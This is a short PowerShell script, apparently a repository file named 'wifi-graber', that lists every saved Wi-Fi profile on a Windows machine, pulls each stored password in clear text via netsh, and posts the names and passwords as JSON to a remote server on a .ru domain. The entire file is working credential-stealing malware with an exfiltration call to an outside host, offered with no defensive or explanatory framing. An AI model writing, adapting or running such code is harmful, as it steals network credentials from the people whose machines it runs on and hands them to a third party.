wifi-graber/win/main.ps1

32 lines
No EOL
1.1 KiB
PowerShell

$apiUrl = "https://porno4free.ru/save-wifi"
# Get wifi
$wifiData = (netsh wlan show profiles) | Select-String ":\s+(.+)$" | ForEach-Object {
$name = $_.Matches.Groups[1].Value.Trim()
$profile = netsh wlan show profile name="$name" key=clear | Out-String
# Parsing password
$password = ($profile -split "Содержимое ключа|Key Content")[1] -split "`n" | Select-String ":\s*(.+)$"
$password = if ($password) { $password.Matches.Groups[1].Value.Trim() } else { "Нет пароля" }
# format to send
[PSCustomObject]@{
profile_name = $name
password = $password
}
}
# Send
foreach ($wifi in $wifiData) {
$body = $wifi | ConvertTo-Json
$headers = @{ "Content-Type" = "application/json" }
try {
$response = Invoke-RestMethod -Uri $apiUrl -Method Post -Body $body -Headers $headers
Write-Host "[GOOD] DATA SEND: $($wifi.profile_name)" -ForegroundColor Green
} catch {
Write-Host "[FUCK] FUCK$($wifi.profile_name): $_" -ForegroundColor Red
}
}
Write-Host "ALL DONE!" -ForegroundColor Cyan